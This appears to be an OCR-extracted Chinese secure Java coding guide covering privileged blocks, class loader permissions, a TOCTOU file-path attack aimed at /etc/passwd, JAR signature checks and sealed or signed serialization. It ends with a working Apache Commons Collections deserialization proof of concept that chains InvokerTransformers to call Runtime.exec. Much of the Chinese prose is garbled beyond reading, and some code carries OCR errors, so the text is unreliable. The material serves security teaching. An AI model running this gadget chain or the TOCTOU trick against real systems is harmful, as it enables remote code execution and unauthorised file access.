// Sensitive action; can't be done outside privileged block
return new FileInputStream(passwordFile);

}

1)

}

catch (PrivilegedActionException x)

{

// Handle exceptions..

}

return fin;
}
}

ZIEHRALE openPasswordFile () BN private KEREE. B, EZEHBETLIAA
changePassword () {BAIAREE A openPasswordFile () B,

H & X2Km#Ess (ClassLoader)

N

HHEXKMBAFDANESE getPermissions () REN, AREAFIIN, EIRBEDEESNERET,
FEAABEN getPermissions () B, MUMRSEEARFNBINLRE KL, RBEE T HBE
getPermissions () JIARI B E XK TS INBARIZF 7 EZEE. BEXENMBBNAEE
BEHREINER A ClassLoader %,



e A~
public class MyClassLoader extends URLClassLoader
{

@Override

protected PermissionCollection getPermissions (CodeSource cs)
{

PermissionCollection pc = new Permissions();

// allow exit from the VM anytime

pc.add (new RuntimePermission ("exitvM"));

return pc;

}
// Other code..

}

TR RBIRR T — MK H URLClassLoader KB EX KMBBN—HD. ©BET
getPermissions () 77k, BRHFRFAEBEANPRGIMERA getPermissions () 717k, Bk, 1ZB8
ESXCEIMB B MEB KRB UNREE I T RS S BRI XX ENINR. EfrE, ZENPRBET
IXEEANBR

BT IR

ERERUTXEF

URLClassLoader

ClassLoader

getPermissions

loadClass

BEETTER

public class MyClassLoader extends URLClassLoader
{

@Override
protected PermissionCollection getPermissions (CodeSource cs)

{

PermissionCollection pc = super.getPermissions(cs);
// allow exit from the VM anytime

pc.add (new RuntimePermission ("exitvM"));

return pc;

}
// Other code..

}
FiIZEHRRIERFIE, getPermissions () REAAT super.getPermissions ()., &R, BRTEHE
XORBEIN, REERMBARE RIS A,

TOCTOU ¥

MR

ETAZEEEHRENLRSRE T MR GHEMSD . EEAEIEEERN, SABAREEENRAN
KFRRALENBMAEE . MRMAEREMEAZERET T, FERk4E tine-of-check, time-

of-use” (TOCTOU) ifiE, M—EWMXNRKERFFEIEATEMNMHRLSEE IAXSTURERNERN

EEENEIE. EMZEREZR, TUERNAZEENNREESEEMLEMEEN, AEETXMHHEN
HeelhE, XENENANESREN, FRENRM clone () AR TR RBEM—MEER, N
RUBRSHERRBE. B clone () TEMNKIAG TR EZHBEETIRE.

e A~

public RandomAccessFile openFile(final java.io.File f)

{
RandomAccessFile rf = null;
try



{

askUserPermission (f.getPath());

//

rf = AccessController.doPrivileged (new
PrivilegedExceptionAction<RandomAccessFile> ()

{

public RandomAccessFile run() throws FileNotFoundException

{

return new RandomAccessFile(f, "r");
}

)

}

catch (IOException e)

{

// handle error

}

catch (PrivilegedActionException e)

{

// handle error

}

return rf;

}

XN RFEERORILRBFIFHAT IDKL.5 fRA java.io BFH—NMLRERE. FEIRAF,
java.io.File KRR final X, EAUFRETETBERRKEEN File XRXBE—NEZESE. EXMA
AT, BE getPath () RENE, BIREREFHBAANRE, REEXHAAMNERE—MEBBELL
SREMNXHEE, BE XFAAMNREREFEHRE SN, WM/etc/passwd X, XFEFHEIL T
ZEE, XEZ TOCTOU /EM— M+ . WEHBTH java.io. File IO THRY E :

public class BadFile extends java.io.File

{

private int count;

// ... Other omitted code
public String getPath()

{
return (++count == 1) ? "/tmp/foo" : "/etc/passwd";

}

}

RIEH BadFile KA XHXNRIAABIRIEM openFile () R, Z2EHE:S
AccessController.doPrivileged #&MAIAHMESE —RIEMAIZ / tmp/ foo B—NEBHIXHEER
MSEE R RHEIRIEA T /etc/passwd

HITRER

TRERXET

Clone

Jdk A

BERESEESNEERRE

BEETTER

public RandomAccessFile openFile(final java.io.File f)

{

RandomAccessFile rf = null;

try

{

final java.io.File copy = new Jjava.io.File(f.getPath());
askUserPermission (copy.getCanonicalPath());

//

rf = AccessController.doPrivileged (new



PrivilegedExceptionAction<RandomAccessFile> ()

{

public RandomAccessFile run() throws FileNotFoundException

{

return new RandomAccessFile(f, "r");
}

)

}

catch (IOException e)

{

// handle error

}

catch (PrivilegedActionException e)

{

// handle error

}

return rf;

}

ZIERRIRGIHR java.io.File WREUEHN, FEECEER final B, ZrBIEARENIESS
BB T — MO HXTR ., XHETPURIEE File WR DIAANEAMRESRERERE, TAREIE
EEEIHERE. IR, £ clone () MEMIE openFile () RPSHENIEERZ, MXEARTTE

EI\]O

BRI jar BZHLH]

43

ET Java MARBEMA Java Archive (JAR) fFM AT T EMIMBFTEXMH. flam, ST
Enterprise JavaBeans (EJB) . MIDlets (J2ME) #lWeblogic Server J2EE ZHNF, JAR X
HREEHARBIR. Java Web Start REMIANENREMKEHT IAR XHHRITE., HEE
B, T SSAECH IAR XHEH. XTMIEAKBHESY, EBARERIERLNReN. ERRET
BEERT RIDEBMREFILIEE, B0, URLClassLoader REFEILHIS java.util.jar BEIKIE
JAR X EH ., FRARBEXMNEMB=RTEHRZ XIS, ME, BMER7E URLClassLoader
h, BRI RZHTEEMRE, ATREFEANZ AR 8P RERIENAH, EITEN NN
EXMHITINE, &7A0 JAR XA T RESHIER JAR XHE#k, ERERMAANBEELEE L BB
B, BIANBNERBRIEBIENDATUER, EIEERABN. FRRIANBIERRILIREN
REDITIIMNIRERAREBNER M ( (W5 EMANZEEZZHITIER) .

e A~ Pl

public class JarRunner

{

public static void main(String[] args) throws IOException,
ClassNotFoundException, NoSuchMethodException,

InvocationTargetException

{

URL url = new URL(args[0]);

// Create the class loader for the application jar file

JarClassLoader cl = new JarClassLoader (url) ;

// Get the application's main class name

String name = cl.getMainClassName () ;

// Get arguments for the application

String[] newArgs = new Stringlargs.length - 1];

System.arraycopy(args, 1, newArgs, 0, newArgs.length);

// Invoke application's main class

cl.invokeClass (name, newArgs);



}

}

final class JarClassLoader extends URLClassLoader
{

private URL url;

public JarClassLoader (URL url)

{

super (new URL[] {url});

this.url = url;

}

public String getMainClassName () throws IOException

{
URL u = new URL("jar", "", url + "!/");

JarURLConnection uc = (JarURLConnection) u.openConnection();
Attributes attr = uc.getMainAttributes();
return attr != null ? attr.getValue (Attributes.Name.MAIN CLASS) : null;

}

public void invokeClass (String name, String[] args)throws
ClassNotFoundException, NoSuchMethodException, InvocationTargetException
{

Class ¢ = loadClass (name) ;

Method m = c.getMethod("main", new Class[] {args.getClass()});
m.setAccessible (true) ;

int mods = m.getModifiers();

if (m.getReturnType() != void.class || !Modifier.isStatic (mods)
|| !Modifier.isPublic (mods))

{

throw new NoSuchMethodException ("main");

}

try

{

m.invoke (null, new Object[] {args});

}

catch (IllegalAccessException e)

{

System.out.println ("Access denied");

}

}

}

ZHERTGIRIRER T —1 JarRunner JERiER, © 9 MEISHIT IAR XHEFHRENMFESE. ZEF
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B7— JarClassLoader, ERBIIANGENMEI Internet KMBEBFEH. HHIHT . F—1

SHRAMAIH URL, EMSEIEERERMBENSE. JarRunner /B KRFKIEBHEINEZEN
main () 7175, AEMZ, BIAERT, JarClassLoader f£H JAR X4 BN A FRIIER

BT R

EREEATEHN jar BHEXREF

URLClassLoader

java.util.jar
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public void invokeClass (String name, String[] args)throws
ClassNotFoundException, NoSuchMethodException, InvocationTargetException,
GeneralSecurityException, IOException

{

Class ¢ = loadClass (name) ;

Certificate[] certs
=c.getProtectionDomain () .getCodeSource () .getCertificates();



if (certs == null)

{

// return, do not execute if unsigned

System.out.println ("No signature!");

return;

}

KeyStore ks = KeyStore.getInstance ("JKS");

ks.load (new FileInputStream(System.getProperty ("user.home"+ File.separator +
"keystore.jks")), getKeyStorePassword()):;

// get the certificate stored in the keystore with "user" as alias
Certificate pubCert = ks.getCertificate ("user");

// check with the trusted public key, else throws exception
certs[0] .verify (pubCert.getPublicKey());

// ... other omitted code

}

ARG AT ENIEERN, AREFOIBRIEFCHARKRIEES. BEREER, BFELTM
IIBAMRIGE (Code-source) HHEUEBE, KERBIBEABMTENELRKBGHRIFAADHH
EE (KeyStore) HHZEIERE

HETE

N

FA system.getENV() FTEATBRERFEXNXBFTIERIERETENE. SEFREBRER
ZFHER, RIDEHE. LA REER System.getE getenv NV (“UIDS”),

iR

“UIDS” ZRERGHERNRBETF, TRRERGSREREXEF, Linux T=E UIDS, Windows T
UIDSNAME, —BHEFTE#4E, KRIBHEM, 28FH System.getProperty (“uIDS.name”),
“uIDS.name”E JVM REMXHEF, FALX EHAZE.
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£BiE¥E System. Getenv
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class SerializableMap<K, V> implements Serializable

éinal static long serialVersionUID = 45217497203262395L;

private Map<K, V> map;

public SerializableMap ()

{ map = new HashMap<K, V>();}

public V getData (K key)



{ return map.get (key); }

public void setData (K key, V data)

{ map.put (key, data); }

}

public class MapSerializer

{

public static SerializableMap<String, Integer> buildMap ()

{

SerializableMap<String, Integer> map = new SerializableMap<String, Integer>();
map.setData ("John Doe", new Integer (123456789));

map.setData ("Richard Roe", new Integer (246813579));

return map;

}

public static void InspectMap (SerializableMap<String, Integer> map)

{

System.out.println ("John Doe's number is " + map.getData ("John Doe"));
System.out.println ("Richard Roe's number is "+ map.getData ("Richard Roe"));
}

}

Tl— REMES

public static void main(String[] args) throws
IOException,ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map = buildMap/();

// Serialize map

ObjectOutputStream out = new ObjectOutputStream (new
FileOutputStream("data"));

out.writeObject (map) ;

out.close();

// Deserialize map

ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
map = (SerializableMap<String, Integer>) in.readObject();

in.close();

// Inspect map

InspectMap (map) ;

}

ZHIRREDRE XA RERE ZH HIEEEA S R P U BN F RBAE. A, EEAE]
AXS FRBIL B SR o () TREM MR E HashMap HAVEHE.
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public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map = buildMap();

// Generate sealing key & seal map

KeyGenerator generator = KeyGenerator.getInstance ("AES");
generator.init (new SecureRandom()) ;

Key key = generator.generateKey (),

Cipher cipher = Cipher.getInstance ("AES");

cipher.init (Cipher.ENCRYPT MODE, key);

SealedObject sealedMap = new SealedObject (map, cipher);

// FEMRELET AES X map #HNZ

// TEFHFF map
ObjectOutputStream out = new ObjectOutputStream (new

FileOutputStream("data"));



out.writeObject (sealedMap) ;

out.close();

// THEHBE R RS map KERETE

ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
sealedMap = (SealedObject) in.readObject();

in.close();

// Unseal map

cipher = Cipher.getlInstance ("AES");

cipher.init (Cipher.DECRYPT MODE, key):;

map = (SerializableMap<String, Integer>) sealedMap.getObject (cipher);
// Inspect map

InspectMap (map) ;

}

ZEFANEIEATESR, AT EHTIEERIE.
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public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map = buildMap/();

// Generate sealing key & seal map

KeyGenerator generator = KeyGenerator.getInstance ("AES");
generator.init (new SecureRandom()) ;

Key key = generator.generateKey (),

Cipher cipher = Cipher.getInstance ("AES");

cipher.init (Cipher.ENCRYPT MODE, key):;

SealedObject sealedMap = new SealedObject (map, cipher);

// Generate signing public/private key pair & sign map

// TEFRE

KeyPairGenerator kpg = KeyPairGenerator.getInstance ("RSA");
KeyPair kp = kpg.generateKeyPair();

Signature sig = Signature.getInstance ("SHA256withRSA");
SignedObject signedMap = new SignedObject (sealedMap, kp.getPrivate(), sig);
// Serialize map

ObjectOutputStream out = new ObjectOutputStream (new
FileOutputStream("data"));

out.writeObject (signedMap) ;

out.close();

// Deserialize map

ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
signedMap = (SignedObject) in.readObject();

in.close();

// Verify signature and retrieve map

if (!signedMap.verify(kp.getPublic (), sig))

{

throw new GeneralSecurityException ("Map failed verification");

}

sealedMap = (SealedObject) signedMap.getObject();

// Unseal map

cipher = Cipher.getlInstance ("AES");

cipher.init (Cipher.DECRYPT MODE, key):;

map = (SerializableMap<String, Integer>) sealedMap.getObject (cipher);
// Inspect map

InspectMap (map) ;

}

XERBAEBHRMBARARARL S, REERENE=71 NERRRINHE R ENEE,
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import javax.crypto.Cipher;

import javax.crypto.KeyGenerator;

import javax.crypto.SealedObject;

// Other import..

public static void main(String[] args) throws IOException,
GeneralSecurityException, ClassNotFoundException

{

// Build map

SerializableMap<String, Integer> map = buildMap/();

// Generate signing public/private key pair & sign map
KeyPairGenerator kpg = KeyPairGenerator.getInstance ("RSA");
KeyPair kp = kpg.generateKeyPair();

Signature sig = Signature.getInstance ("SHA256withRSA");
SignedObject signedMap = new SignedObject (map, kp.getPrivate(), siqg);
// Generate sealing key & seal map

KeyGenerator generator = KeyGenerator.getInstance ("AES");
generator.init (new SecureRandom()) ;

Key key = generator.generateKey (),

Cipher cipher = Cipher.getInstance ("AES");

cipher.init (Cipher.ENCRYPT MODE, key);

SealedObject sealedMap = new SealedObject (signedMap, cipher);
// Serialize map

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream
"data"));

out.writeObject (sealedMap) ;

out.close();

// Deserialize map

ObjectInputStream in = new ObjectInputStream(new FileInputStream("data"));
sealedMap = (SealedObject) in.readObject();

in.close();

// Unseal map cipher = Cipher.getInstance ("AES");

cipher.init (Cipher.DECRYPT MODE, key);

signedMap = (SignedObject) sealedMap.getObject (cipher);

// Verify signature and retrieve map

if (!signedMap.verify(kp.getPublic (), sig))

{

throw new GeneralSecurityException ("Map failed verification");
}

map = (SerializableMap<String, Integer>) signedMap.getObject();
// Inspect map

InspectMap (map) ;

}

XEREBNRIBEANRERRERNE. XERERIEEIENELTEN, XL FEABE"
(man-in-middle attacks) .
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XL GFIBMR, W0 Struts2, ANLEEWREEGE. XL Bt R T E EREF AN commons-
collections:3.1 FEHE=FAM, XNTWUERF pom XGEHEEETHSINKE . AMEERETEE
NARSREEEFNA, BANIZERAANLREMERAR, — N =amfERREK RERIIEBEASSIATE
FIASRE S

BT R
HEENM java ERZEEH,
BERR
FHERFSNEERANE =744 Apache Commons Collections
NBmM B E W : http://commons.apache.org/proper/commons-collections/
Github: https://github.com/apache/commons-collections

org.apache.commons.collections IBft—NKBRY EFEMIRAEN Java collection EZE,
BRI LY BthET collection NEAHS, RENEARET ., Java FfY collection TJY
B A—2EX%, collection BEIMINEFRA collection I E ., E& Ay collection 4 set,
list, queue &%, EI2EE%XE., H—MIBM AT, collection & set, list, queue HIHHZE.

Apache Commons Collections RE—/MFANED, HEFF—PILINZEOMNXTRIRTIAR Java
RS FISRIERAEEREL, W InvokerTransformer,
JAVA R GIH1H]
HBEITRSS
NFEE—K, ZREBHM—INREFENE
XTER—NE, #HEE %ﬂﬁl_/l\iﬁ’]ﬁﬁﬁ)%lﬁuﬁ}f
NFER—IXNER, HEBBAAENER—NTEFENY
XK AE R IA RSN SE AN RN TIENINEERR A java IBE I RFVH .
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Apache Commons Collections < 3.2.2 BRAFAEMNKRFIIIFE., CVE-2015-7450
import java.io.File;
import java.io.FilelInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC Test({
public static void main(String[] args) throws Exception ({
//execArgs: fFHMITHIWSEA
//String[] execArgs = new String[] { "sh", "-c", "whoami >
/tmp/fuck"™ };
//transformers: — transformer 5%, BEKK transformer WE (FUEZE)
BB A

Transformer[] transformers = new Transformer[] {
new ConstantTransformer (Runtime.class), //iIR[E—/ Runtime.class BE&
/*

BT Method ZH invoke (Object obj,Object argsl[]) FEHENX
T ZERSIAS new Class[] {Object.class, Object[].class }
I poC e

((Runtime)Runtime.class.getMethod ("getRuntime",null) .invoke (null,null)) .exec(
"gedit");
*/
new InvokerTransformer (
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
)y, //BiT 5B E| getMethod (“"getRuntime”, null)
new InvokerTransformer (
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
y, //8%| invoke (null,null)
new InvokerTransformer (

"eXeC",
new Class[] {String[].class },
new Object[] { "whoami" }

//new Object[] { execArgs }
)y //BEF| exec (“whoami”)

}i

//transformedChain: ChainedTransformer X%, fEAN transformers #2H, TJY
288 transformers AMBEH T MLIRE

Transformer transformedChain = new ChainedTransformer (transformers);

//BeforeTransformerMap: Map #BREM, HHLFIAY Map, Map HIBEMANXN R ESRE
X, KbbTF python Ay dict

//Map<String, String> BeforeTransformerMap = new HashMap<String,
String>();

Map<String, String> BeforeTransformerMap = new
HashMap<String, String> () ;

BeforeTransformerMap.put ("hello", "hello");

/ /Map IR, HREH Map
/ *
TransformedMap.decorate J7ik, X Map KHEUBEWFHITHL, 12T E5E=1%

s

B—NSEAFELMN Map HR
BZANTHA Map HRAK key BETMNENTTE (TJARNITE, W A%, A

i



B=NSHCh Map WRAEY value BEL ML TTE,

*/

//TransformedMap.decorate (B¥rMap, key BIEEMNHR (BEEHESE null) ,
value EMANR (BANSHFHENHE null) );

Map AfterTransformerMap =
TransformedMap.decorate (BeforeTransformerMap, null, transformedChain);

Class cl =
Class.forName ("sun.reflect.annotation.AnnotationInvocationHandlexr") ;

Constructor ctor = cl.getDeclaredConstructor (Class.class, Map.class);

ctor.setAccessible (true) ;

Object instance = ctor.newlInstance (Target.class,
AfterTransformerMap) ;

File f = new File("temp.bin");

ObjectOutputStream out = new ObjectOutputStream (new
FileOutputStream(f));

out.writeObject (instance) ;

}

/%
BEE #&# BeforeTransformerMap BNEEN, HHIFE,

FIFH TransformedMap fy decorate J33k, X Map #IBZEIAY key/value #fT transforme

% BeforeTransformerMap fJ value FH {74, ¥ BeforeTransformerMap Y value Hf7
T TR, TR T M

PATAR:

((Runtime)Runtime.class.getMethod ("getRuntime",null) .invoke (null,null)) .exec(

FHERESEM Runtime () HT 7 —EREZ%&H%S, Runtime.getRuntime () .exec ()
*/
public static void main(String[] args) throws Exception ({
//transformers: — transformer $, BELKHK transformer WE FuEEBEE) 9%
1bE54A
Transformer[] transformers = new Transformer[] {
new ConstantTransformer (Runtime.class),
new InvokerTransformer ("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", new Class([0] }),
new InvokerTransformer ("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer ("exec",
new Class[] {String.class }, new Object[] {"calc.exe"})};

/| BHEE— Map M—PMEEBHITRALAY ChainedTransformer, PUILER—

TransformedMap
Transformer transformedChain = new ChainedTransformer (transformers);

Map innerMap new hashMap () ;
innerMap.put ("1", "zhang");

Map outerMap = TransformedMap.decorate (innerMap, null, transformerChain);

/ /&R Map HA MapEntry AR (B0 setvalue () REL
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator () .next();



onlyElement.setValue ("foobar");

/*RALIZTTE] setValue () Bf, FSflA ChainedTransformer FRY—RF L H R EL
BEEid ConstantTransformer 348 Runtime £
H—HBid R EFIEA getMethod 3% invoke BFEX
REBE{TMS calc.exe,

*/

BT R
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Apache Commons Collections BREA 3.2.2 kAT M TEBE, WXELRLZESH Java XWNFFIL
IHEHEINT R, BRIAARARS. DPREEKBHE CloneTransformer, ForClosure,
InstantiateFactory, InstantiateTransformer, InvokerTransformer,
PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure,

4, InvokerTransformer KEF T FHEXT R writeObject () Fl readObject (),
MEZBEFBALREEXNFIML, NS UnsupportedOperationException F&



